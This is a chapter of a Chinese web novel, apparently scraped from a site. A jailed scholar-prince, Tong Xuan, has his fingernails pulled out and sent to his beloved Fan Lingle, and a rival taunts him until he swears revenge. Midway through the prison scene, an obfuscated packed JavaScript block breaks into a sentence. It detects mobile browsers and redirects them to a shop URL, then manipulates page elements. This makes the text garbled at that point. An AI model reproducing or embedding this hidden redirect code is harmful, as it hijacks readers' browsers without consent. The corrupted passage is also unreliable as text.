“乐乐!”范屠户慌忙将那帕子盖回去,把女儿揽入怀中,大手掌着她的猛烈颤动的后脑勺,轻轻拍着,“没事没事,不怕的……” 女儿呜呜咽咽,在他肩膀处哭得快要断了气,他心也被她的哭泣声胡乱揪着,想了半天,话在肚子里打了结,到嘴边便只能笨拙道:“这个……说不定是那个混蛋唬你,也不一定就是佟暄的指甲呀。” 范灵乐只是哭着摇头。 这指甲都送到跟前来了,依贺钟鸣那个睚眦必报的性子,没有必要拔个别人的指甲来糊弄她。 看到的是一片指甲,那看不到的,还不知佟暄在牢里遭了怎样的罪呢。 “爹爹……他……他……”她发着抖,语不成句,“他骗我……说话……不算话……明明说了……他不会有事的……” 他明明答应了自己,说什么贺钟鸣动不了他的,这叫动不了吗?连指甲都被人连根拔下,送到她面前来了! 只是看到这片血淋淋的指甲,她心就痛得喘不上气来。 贺钟鸣送来的这片指甲,叫范灵乐心惊肉跳,好几次忍不住,去找贺钟鸣求饶的念头都从脑子里冲出来。可一想到佟暄坚毅的眼,还有自己答应他的话,她便强按下去心头的冲动,努力克制住自己不要轻举妄动。 没事的,他说过的,不会有事的…… 她在心里反复告诉自己。 可是第二日,第三日,管家果然如期而至,每天一片指甲送到肉铺来,从小拇指到无名指到中指…… 再加上听佟母说,她去送饭探监都见不到佟暄,范灵乐的心里更是近乎崩溃,她觉得自己快要撑不住了,真的撑不住了…… 他们这些小老百姓不过案板上的鱼肉,只有听凭宰割的份儿,她怎么就信了佟暄的话,真的不去管他呢? 她将指甲收好,抹了抹眼泪,暗自下定了决心。 * 浔阳县,府衙大牢。 昏暗潮湿的牢房内,终日不见天日,只有过道尽头的高墙在高处开着一扇小窗,每日正午过后,才有丝丝阳光从那里头透出来,勉强点亮这昏昏的内室。 就是从扇窗子,紫砚试图闯入,却被巡逻的差役发现,正要出声惊呼,紫砚将其一刀封喉。可动静却引来了牢狱里其他犯人的注意。 紫砚无法在这种时候与太子说上话,连忙趁大队人马赶来前又翻身出去。 这一次闯狱事件,监狱里又加大了巡防力度。 还好,似乎也并没有人将这次行动和佟暄联系起来。 佟暄进来这里不过几日,胸口时觉气闷,饭食进得也少,总是一副恹恹的神情,却依然强撑着那倔强的脊背,挺得笔直。 他合着眼静坐,白袍的袖口垂下,从里面伸出的一截皓腕越发清瘦,骨节凸起,颇有种随时都要羽化登仙似的轻飘之感。鸦羽的长睫垂在眼周,敛去了那双眼眸中的冷酷,竟是显出几分脆弱易折。 “啧啧啧。”贺钟鸣连连摇头,衙役替他把牢门打开,他背着手,悠哉地踱步进来,视线一低,瞄到他缺了三片指甲的右手,粉色的血肉裸露在外,未经任何处理,直直暴露在这肮脏的空气中。只身上其他地方,倒是没有旁的伤痕。 “瞧瞧,这副玉手都被折磨成了什么样子,我见了都心疼。”贺钟鸣俯身,手指滑腻地擦过他的手背,似意犹未尽,还要反复摩挲几下。 佟暄睁眼,凶狠的眼神钳住他的脸,手一甩,打开他为非作歹的手。一股酸气自胃里涌起,这厮的一举一动都叫他觉出恶心。 贺钟鸣也不恼,手摸了摸鼻子,阴阳怪气道:“我当这范灵乐对你有多情深义重呢,想来也不过如此,你这三片指甲都摆她面前了,结果这小妞竟是无动于衷。到现在连个屁也不敢放,连个人影也不敢露。” 佟暄听这厮的语气,彻底放心下来,看样子,乐乐果然没有去找他,这便好。 贺钟鸣留心他的神情,见他竟是不为所动,不由继续道:“所以说嘛,这种女人,你还惦记着她做什么?我给你个机会,想要从牢里出去,有的是法子……”他手背抚上佟暄的脸颊,轻轻摩擦,只觉触感滑嫩如豆腐。 啧,这小郎官的脸,怎的比女人的还要嫩? “嗷!嗷嗷嗷……你放手!快放手!”贺钟鸣连声哀叫,佟暄捏住他的腕子,却是折得更用力了,他疼得面部扭曲,人都弯了一截。佟暄阴冷的眼神锁住他,几乎恨不能将他抽筋扒皮。 “噶”一声,待身后的衙役冲上来时,贺钟鸣的手腕已经被折出了嘎嘣脆的声音。 他捂着手腕,“嗷呜”痛呼,两名衙役已经上前钳住佟暄的胳膊,将他制住。 “他奶奶个熊!”贺钟鸣咒骂。没想到他看起来一个文弱书生,手劲儿倒是挺大。他撸起袖子,迎着佟暄杀意毕露的目光,巴掌一扬,狠狠甩在他脸上。 声音清脆,佟暄被打得偏过头,只觉耳中轰鸣,头晕目眩。他人颇恍惚,待回过神来,尝到口中的淡淡血腥味,冷笑出声,舌头卷入嘴角的血丝,猩红的目光透过散乱的发丝,恨恨钉在贺钟鸣的脸上。 好……好好好……他贺钟鸣算个什么东西?竟然敢对自己动手动脚?!简直地奇耻大辱! 呵……呵呵呵……他佟暄又算个什么东西?虎落平阳被犬欺?可他何时体验过在山中称王的感受?打自己有清晰的记忆起,便窝窝囊囊地委身在这小小泥瓦匠家,活得畏首畏尾。而现在,竟叫个荒淫子弟羞辱玩弄! 他垂下头,鬓发散乱在额前,一声,两声,竟是狂笑起来,清瘦的肩膀抖动着,笑声越来越大,似癫似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702086|141660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂,似苦似酸。 这便是平民之苦吗?哪怕不偷不抢,遵纪守法,只是想安安稳稳求一个美满的日子都不得。这世上,无权无势之人,就活该憋屈嘛?!连尊严都要被权贵踩在脚下玩弄! 贺钟鸣见他如此反常,倒是被吓着了,一时不敢再冒犯,只是命令衙役将他押紧了。 贺钟鸣正萌生退意,笑声渐渐止住,佟暄低着头,声音从发丝间幽幽穿来,“贺钟鸣,记住你今日所为,终有一日,我要你加倍偿还。” 贺钟鸣被他这气势吓住了,一下僵住不能动,转而回过味来,肩膀一松,不由嗤笑。嘁,他个穷破书生,跟自己在这儿放什么狠话呢? “哎呦!我好怕怕哦,哪日佟状元郎衣锦还乡,是要跟我秋后算账呢!”他怪声怪气地拍拍胸口,故意装出一副吓破胆的模样。 佟暄勾勾唇角,又有鲜血在口中漫出,他吞咽下去,把那不甘和恨意也一并咽进肚子里。 “公子!” 这边正缠斗间,贺钟鸣的贴身小厮松墨气喘吁吁冲进牢房里来。 “什么事?” 小厮踮脚靠到他的耳边,悄声递上几句话。贺钟鸣越听,嘴角笑意越大,眼神又神采奕奕起来。 佟暄终于抬头,打量主仆二人的神态,心中一股不妙的预感愈发强烈。 “呦!”贺钟鸣将折扇一收,目露挑衅,“看来我刚刚那话还是说早了,对不住。那范灵乐,果然还是心系佟状元的呀,真是个有情有义的女子。” 佟暄目色大变,瞬间骇然。 “对了,你刚说范姑娘在哪儿来着?”他侧头,向小厮明知故问。 “就在衙门口呢,等着求见公子。” “走!”他手中折扇一扬,“咱对范姑娘,定当是有求必应了!” “贺钟鸣!” 佟暄目眦欲裂,大喝着挣扎上前,又被两个衙役死死按回榻上。他脸颊肌肉抽搐,瞳孔内酝酿着山呼海啸,胸口剧烈起伏,却只能徒劳地用一双早已血红的眼,去剜他贺二公子脸上的每一寸皮肉。 贺钟鸣瞧着佟暄失控的模样,被刺激得更为兴奋了,连那脸都瞬间蹿红,笑意洋洋,“佟状元郎,放心,等我见过范姑娘,很快便能放你出去了,莫急莫急,啊?哈哈哈!” “贺钟鸣!你敢动她一根手指头试试!我发誓,要叫你全家偿命!” 可在此时此刻的贺钟鸣眼里,佟暄不过是一头无能狂怒的狗熊,除了放狠话,也别无他能了。 嘁,连自己心爱的姑娘都护不住,就会一张嘴吓唬人,算什么男人呢? 贺钟鸣心中轻嗤,“行行行,记住你今日说的话,你我有什么冤仇,都待到我见过了范灵乐再说吧。” 他大笑着扬长而去,只留下佟暄拳头砸门的声音,在身后响彻。 “咣咣咣”!他狠命捶门,被拔了指甲的手指又渗出新鲜的血液,可指尖的那一点痛远不及心里的痛。 “贺钟鸣!你他妈敢动她试试!”他狂叫,恐惧到极点的声音在牢里回荡。 “别喊了,人早都走了。”隔壁牢房的偷窃犯不耐烦地咕哝一句,翻个身又继续睡。 他停止了呼号,剧烈喘气,一种后知后觉的惊恐将他彻底淹没,凉气从脚底板蹿起,直顺着脊背往上爬。 跌坐回榻上,眼神空洞无光。 他恨,恨自己的无能,一个无权无势、不被人承认身份的太子,不过一个花架子罢了,连自己心爱的姑娘都护不住,他到底算个什么?! 权势,他从来没有比这一刻更体会到它的重要。他为自己曾经动过的想要在这小小浔阳县过那种平淡夫妻日子的想法而感到可笑。 无论付出什么代价,弱冠之年,他都必须要顺利回京,名正言顺地坐回他的太子之位! 他攥紧了拳头,眼神一凛,寒光慑人。 只要他贺钟鸣真敢动范灵乐,他务必要让他贺家,根苗尽断!